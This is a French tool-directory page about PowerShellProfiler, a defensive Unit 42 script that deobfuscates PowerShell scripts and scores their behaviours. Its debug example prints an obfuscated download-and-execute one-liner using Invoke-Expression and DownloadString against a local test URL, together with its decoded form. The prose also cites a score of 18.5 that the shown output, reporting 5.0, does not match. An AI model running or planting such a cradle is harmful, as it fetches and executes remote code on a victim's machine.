Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PowerShellProfiler — PowerShellProfiler | Kitploit
Outils/GitHubGitHub/al1ex/powershellprofiler
Static AnalysisCode AnalysisReverse EngineeringForensicsMalware Analysis
GitHubal1ex/powershellprofiler

PowerShellProfiler

PowerShellProfiler

Voir le dépôt
2il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PowerShellProfiler

Ce code de projet provient de https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler

Introduction

PowerShellProfiler.py est un script permettant d'analyser statiquement des scripts PowerShell en désobfusquant et en normalisant le contenu, qui est ensuite profilé pour rechercher des indicateurs comportementaux. Ces comportements sont ensuite notés et l'agrégat des notes fournit un niveau de risque possible pour le script PowerShell. Cet outil a été créé pour mettre en évidence un moyen pratique de traiter l'analyse groupée de scripts PowerShell et pour aider les équipes bleues en offrant un outil supplémentaire permettant d'accélérer l'analyse.

Dans la série de blogs Unit42 – « Practical Behavioral Profiling of PowerShell Scripts through Static Analysis », les concepts, la conception ainsi que les avantages et les inconvénients de cette approche de profilage statique des comportements dans les scripts PowerShell sont abordés.

root@kitploit:~
usage: PowerShellProfiler.py [-h] -f <file_name> [-d]

PowerShellProfiler analyzes PowerShell scripts statically to identify and
score behaviors.

optional arguments:
  -h, --help            show this help message and exit
  -f <file_name>, --file <file_name>
                        PowerShell Script to behaviorally profile
  -d, --debug           Enables debug output

Résultat de sortie

L'utilisation standard est assez simple. Il suffit d'utiliser le paramètre « -f » pour passer un nom de fichier (script PowerShell, export de journal ScriptBlock, fichier texte, etc.) et le script PowerShellProfiler.py affichera les résultats.

root@kitploit:~
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.008002 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]

standard

La sortie est délimitée par des virgules et utilise les champs suivants :

root@kitploit:~
File Name , Profiling Score , Proposed Risk Level , Analysis Runtime , Behaviors (pipe-delimited)

Dans ce cas, le fichier « 1.ps1 » a été identifié comme présentant des caractéristiques/comportements qui suggèrent que le script est capable de télécharger du contenu, de démarrer un processus, d'exécuter du contenu de script supplémentaire, d'utiliser la compression, d'énumérer un certain type d'informations système, que l'intégralité du script tient sur une seule ligne, et qu'il existe des motifs correspondant à une famille de logiciels malveillants connue, « Veil ». Ces comportements sont notés individuellement et totalisent 18,5, ce qui se situe dans la plage du risque le plus élevé.

De plus, il existe un mode « debug » avec le paramètre « -d », utile pour dépanner les échecs de décodage/désobfuscation, les temps d'exécution longs, l'analyse du contenu décodé pour détecter de nouveaux comportements, et d'une manière générale pour obtenir une sortie plus verbeuse.

root@kitploit:~
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -d -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
Opened File C:\Users\Al1ex\Desktop\Powershell\1.ps1
[+] Normalization Function
        [!] Format Replaced - True: 0:00:00.000997
        [!] Format Replaced - True: 0:00:00
[+] Normalization Function
[+] Normalization Function


##### TIMING / MATCH #####

Main Processing: 0:00:00.003988
Family ID: 0:00:00.001995
Behavior Check - Code Injection: 0:00:00
Behavior Check - Key Logging: 0:00:00
Behavior Check - Screen Scraping: 0:00:00
Behavior Check - AppLocker Bypass: 0:00:00
Behavior Check - AMSI Bypass: 0:00:00
Behavior Check - Clear Logs: 0:00:00
Behavior Check - Coin Miner: 0:00:00
Behavior Check - Embedded File: 0:00:00
Behavior Check - Abnormal Size: 0:00:00
Behavior Check - Ransomware: 0:00:00
Behavior Check - DNS C2: 0:00:00
Behavior Check - Disabled Protections: 0:00:00
Behavior Check - Negative Context: 0:00:00
['DownloadString']
Behavior Check - Downloader: 0:00:00
Behavior Check - Starts Process: 0:00:00
['Invoke-Expression']
Behavior Check - Script Execution: 0:00:00
Behavior Check - Compression: 0:00:00
Behavior Check - Hidden Window: 0:00:00
Behavior Check - Custom Web Fields: 0:00:00
Behavior Check - Persistence: 0:00:00
Behavior Check - Sleeps: 0:00:00
Behavior Check - Uninstalls Apps: 0:00:00
Behavior Check - Obfuscation: 0:00:00
Behavior Check - Crypto: 0:00:00
Behavior Check - Enumeration: 0:00:00
Behavior Check - Registry: 0:00:00
Behavior Check - Sends Data: 0:00:00
Behavior Check - Byte Usage: 0:00:00
Behavior Check - SysInternals: 0:00:00
Behavior Check - One Liner: 0:00:00
Behavior Check - Variable Extension: 0:00:00
Behavior Check - Script Logging: 0:00:00
Behavior Check - License: 0:00:00
Behavior Check - Function Body: 0:00:00
Behavior Check - Positive Context: 0:00:00
Behavior ID: 0:00:00.010971
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.018915 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]


##### ORIGINAL SCRIPT #####

.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")

##### ALTERED SCRIPT #####

."Invoke-Expression" (&"New-Object" System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")

C:\Users\Al1ex\Desktop\PowerShellProfiler>

debug

Télécharger l’outil